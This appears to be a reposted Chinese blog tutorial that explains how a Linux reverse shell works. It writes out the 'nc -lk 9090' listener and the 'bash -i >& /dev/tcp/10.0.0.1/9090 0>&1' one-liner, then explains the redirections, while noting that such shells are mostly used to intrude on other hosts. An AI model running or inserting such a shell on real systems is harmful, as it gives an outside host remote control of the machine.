当前位置: 首页 > 科技观察

关于linux的反弹shell命令解析

时间:2023-03-13 01:56:08 科技观察

今天在看sparkstream的samplesample的时候,看到了linux的万能命令nc。搜索相关内容突然发现一个很有意思的用途就是反弹壳。再来说说反弹shell1。什么是反弹壳?简单来说,A主机可以在B主机上执行命令,并将返回值返回给A上级。2.反向shell的使用这种反向shell的大部分用途是入侵别人的主机。就是因为感觉很厉害,所以才来研究这家伙3.反弹shell操作步骤3.1。在本机打开9090nc-lk90903.2端口。在需要控制的机器上执行以下两个命令之一。你可以bash-i>&/dev/tcp/10.0.0.1/90900>&13.3。只要在本机执行nc-lk9090命令行,输入要控制的主机的命令即可。4、原理A主机开启9090端口主机B的tcp服务连接到主机A的9090tcp服务,主机A通过tcp服务向主机B发送命令。主机B读取命令并在bash中执行它。主机B将执行结果发送给主机A,这样就可以在A主机中执行,与B主机'玩',下面的一点引起我们的注意,这个操作其实很简单,但是我们不能只是限于表面。我们需要了解它的原理。其实nc-lk9090命令没什么好说的。百度google了一下,出来了。今天要讲解的是bash-i>&/dev/tcp/10.0.0.1/90900>&1。该命令在google中没有找到任何结果。所以我不得不自己上夜班。Linuxshell下常用的文件描述符有:标准输入(stdin):code为0,使用<或<<;标准输出(stdout):code为1,使用>或>>;标准错误输出(stderr):代码对于2,使用2>或2>>。首先我们来反汇编一下这个命令bash-i#我不知道说什么>&#这个命令实际上是把stderr输入到stdout。相当于`>xxx2>&1`/dev/tcp/10.0.0.1/9090#这个连接到10.0.0.1的9090端口0>&1#这个在谷歌百度了半天也没明白,所以只能去研究文档了其实前三个命令的组合很好理解,就是把这个bash下的所有输出都发送到10.0.0.1:9090。你可以自己做,把后面的0>&1去掉。很容易理解,我们在命令中写2>&1,就是将错误重定向到stdout。但是0>&1好像很难理解。再看文件描述符,看到这里2>&1就是把文件描述符2对应的设备改成文件描述符1对应的设备。同理,0>&1就是把0对应的设备改成文件描述符1对应的设备。1对应的device,即socket。这说明stdin从socket中读取数据,然后执行命令,将bash命令行的返回内容通过stdout发送给socket。其实这些内容都可以在bash的manpages中找到。该文档非常清楚。n<&word表示将单词复制到n,n>&word表示将单词复制到n。所以这里写0<&1或者0>&1也可以,只是将文件描述符1对应的设备复制到文件描述符0即可。参考文章https://edu.aqniu.com/article/67